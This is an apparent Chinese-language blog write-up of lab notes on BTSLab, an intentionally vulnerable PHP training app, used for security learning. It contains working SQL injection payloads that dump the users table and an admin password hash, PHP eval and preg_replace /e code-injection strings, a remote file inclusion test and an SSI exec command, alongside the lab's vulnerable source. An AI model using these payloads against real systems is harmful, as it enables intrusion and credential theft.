首页 > 其他分享 >btslab笔记

btslab笔记

时间:2024-10-22 13:33:52浏览次数:5  
标签:ForumPosts vulnerability 笔记 echo php btslab id

本文只涉及漏洞的验证与解题思路不进行安装等基础教学

1.vulnerability.injection.sqlinjection

url:https://172.16.26.44/btslab/vulnerability/ForumPosts.php?id=1
第一步:判断注入类型 字符型还是数字型:
GET /btslab/vulnerability/ForumPosts.php?id=1
image

GET /btslab/vulnerability/ForumPosts.php?id=1-2
image

GET /btslab/vulnerability/ForumPosts.php?id=5-4
image

经过测试显然为数字型注入

判断闭合方式:
数字型闭合方式一般为括号闭合,进行测试:
GET /btslab/vulnerability/ForumPosts.php?id=5-4)) --
image
经过测试 该闭合方式为空 即纯数字无特殊符号闭合:
GET /btslab/vulnerability/ForumPosts.php?id=5-4%20--%20
image

进行列数的判断:
order by 4:
image
order by 5:
image

回显位置判断:
5-4 union select 1,2,3,4--
image
初步判断为4和2位置

5-4 union select 1,database(),3,version()--
image
查询版本与数据库名
为5.5.53与bts

版本位于5.0以后开始查询
利用information_schema表进行数据查询:
5-4 union select 1, group_concat(table_name),2,3 from information_schema.tables where table_schema=database()--
image
得到表名 可疑表为users
开始查列:
5-4 union select 1, group_concat(column_name),2,3 from information_schema.columns where table_schema=database() and table_name='users' --
image
得到感兴趣列username password 查询其内容
image
总共就一个用户admin 其密码为5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8
为sha1形式 进行解密测试
image
源码:很简单的拼接 导致漏洞百出

<?php include($_SERVER['DOCUMENT_ROOT'].'/btslab/header.php');
include($_SERVER['DOCUMENT_ROOT'].'/btslab/mysqlconnection.php');
//Delete Post
if(isset($_GET['delete']))
{
	$id=$_GET['delete'];
	mysql_query("DELETE from posts where postid='$id'") or die("Failed to Delete the post");
	echo "Post is deleted";
}
//Displaying the content of Post
if(isset($_GET['id']))
{
	$result=mysql_query("select * from posts where postid=".$_GET['id']) or die(mysql_error());
	if(mysql_num_rows($result)>0)
	{
		while($row=mysql_fetch_array($result))
		{
		echo "<B style='font-size:22px'>Title: ".$row['title']."</B>";
		if(isset($_SESSION['isLoggedIn']))
		{
			if($row['user']==$_SESSION['username'])
			{
				echo "  <a href='ForumPosts.php?delete=".$row['postid']."'>Delete</a>";			
			}
		}
		echo "<br/>-  Posted By ".$row['user'];	
		echo "<br/><br/>Content:<br/>".$row['content']."";
		
		}
	}
}
echo "<br/><br/><a href='forum.php'>Return to Forum &gt;&gt;</a>";
 include($_SERVER['DOCUMENT_ROOT'].'/btslab/footer.php'); ?>

2.vulnerability.injection.cmdinjection

image
乱码猜测由于gbk编码导致
进行乱码恢复:
image
成功得到结果

3.vulnerability.injection.phpinjection

https://172.16.26.44/btslab/vulnerability/phpinjection/challenge1.php?data=phpinfo()

源码很简单 eval进行了命令执行:
c1:

<?php include($_SERVER['DOCUMENT_ROOT'].'/btslab/header.php');

if(isset($_GET['data']))
{
  $output = "";
$data = $_GET['data'];
 eval('$output = ' . $data. ';');
 echo $output;
}

include($_SERVER['DOCUMENT_ROOT'].'/btslab/footer.php'); ?>

image

preg_replacee进行命令执行 /e参数会导致命令执行

c2:

<?php include($_SERVER['DOCUMENT_ROOT'].'/btslab/header.php');

if(isset($_GET['data']))
{
$data = $_GET['data'];
$data = preg_replace('/(.*)/e', 'strtoupper("\\1")',$data);
//这句会对正则匹配到的参数进行命令执行 /e参数就代表执行命令 
print $data;
}

include($_SERVER['DOCUMENT_ROOT'].'/btslab/footer.php'); ?>

https://172.16.26.44/btslab/vulnerability/phpinjection/challenge2.php?data={${phpinfo()}}
image

4.vulnerability.injection.rfi:

image
利用dnslog平台测试是否能够访问远程文件
image
也是成功能进行远程文件的访问
image
image
能够进行文件包含

可以远程包含一句话木马进行测试 这里我就不继续了

5.vulnerability.injection.ssi:

ssi注入 类似于xss 注入了ssi语句也就是shtml的语句插入到页面中并且被执行了 ssi语法形式如下:
<!--#exec cmd="whoami" -->
但该漏洞触发条件比较苛刻 很少见 不常用
image
这里返回的结果是处理此指令时返回错误

尝试执行echo命令 不要执行系统命令
<!--#echo var="DOCUMENT_URI" -->
image
成功输出了当前文档的统一资源定位符

未完===

标签:ForumPosts,vulnerability,笔记,echo,php,btslab,id
From: https://www.cnblogs.com/fr09/p/18491942

相关文章

  • 【开源免费】基于SpringBoot+Vue.JS读书笔记共享平台(JAVA毕业设计)
    本文项目编号T029,文末自助获取源码\color{red}{T029,文末自助获取源码}......
  • 学习笔记10.21
    使用AI提示语设计公式、AI优化、Markdown模版、提示语智能体R(角色)T(任务)F(要求)C(说明)公式举例eg:你现在是一位高校大学英语教师,(角色)设计大学英语《XXX》单元的教学计划,(任务)给出教学目标、教学大纲、单元活动安排,教学策略,布置学生作业。(要求)要求按照5E教学策略设计教学活......
  • 苹果笔记本和微软Surface哪个更适合商务使用
    在商务环境中,选择合适的笔记本电脑对于提高工作效率至关重要。本文对苹果笔记本和微软Surface进行比较分析,探讨哪种更适合商务使用。主要考虑因素包括:1.性能和可靠性;2.操作系统与软件兼容性;3.设计与便携性;4.电池续航力;5.价格与性价比;6.售后服务与支持。通过全面的比较分析,可以帮......
  • 汇编语言学习笔记(一)基础知识
    指令和数据指令和数据是应用上的概念,在内存或磁盘上,两者没有任何区别,都是二进制信息。如同围棋中的棋子,在棋盒里没有任何区别,在对弈的时候才有不同的意义存储单元计算机最小信息单位为Bit,也就是一个二进制位。8个bit组成一个Byte.通常称之为字节1B=8Bit,1KB=1024B,1M=1024......
  • 汇编语言学习笔记(二)寄存器
    简介上文所说的总线,相对于CPU自身而言,属于外部总线。这些外部总线将CPU与外部芯片串联起来。其内部也有类似结构(运算器/控制器/寄存器/内部总线),组成一个完整的CPU。运算器进行计算处理寄存器进行数据存储控制器控制内部芯片内部总线串联内部芯片不同CPU,寄存器的数量与......
  • cmake学习笔记
    最近在学cmake的用法,参考了cmake使用详细教程(日常使用这一篇就足够了)这篇文章,这篇文章讲的很仔细,下面记录自己的学习过程。1、系统以及开发工具一开始想通过虚拟机安装Ubuntu和vscode,后面想到了之前本机Windows安装过wsl,wsl的就是Ubuntu,在wsl+本地vscode的开发下,很快就把文章......
  • JAVA中的JDBC学习总结 我的学习笔记
    JDBC学习总结我的学习笔记一、JDBC简介一、JDBC快速入门一、JDBCAPI详解1.DriverManager2.Connection3.Statement4.ResultSet5.PreparedStatement一、数据库连接池1.数据库连接池简介2.数据库连接池实现3.Druid数据库连接池一、JDBC简介1.JDBC概念JDBC就......
  • MySQL数据库总结 我的学习笔记
    MySQL数据库总结一、数据库相关概念1.数据库2.数据库管理系统3.SQL4.常见的关系型数据库管理系统二、MySQL数据库1.MySQL目录结构2.MySQL数据模型三、SQL1.SQL简介2.SQL通用语法3.SQL分类4.DDL(数据定义)操作数据库操作表MySQL数据类型5.DML(数据操作)添加(insert)修改......
  • 《程序员修炼之道:从小工到专家》阅读笔记2
    作为程序员,我们的代码应当尽量避免重复,因为重复的知识如果矛盾,那么计算机将无法完成它的工作。维护的时候,过程和程序的重复十分让人头疼。系统中的每一项知识都必须单一,无歧义,权威的表示。重复主要有:强加的重复,无意义的重复,无奈的重复,开发者之间的重复。让一个系统具有“正交性”......
  • C语言学习笔记4
    函数函数是一组一起执行一个任务的语句。每个C程序都至少有一个函数,即主函数 main() ,所有简单的程序都可以定义其他额外的函数。C语言的函数分为:1.库函数2.自定义函数对于库函数引用对于头文件即可使用,自定义函数需要自己调用与声明函数的调用与声明C语言中的函数......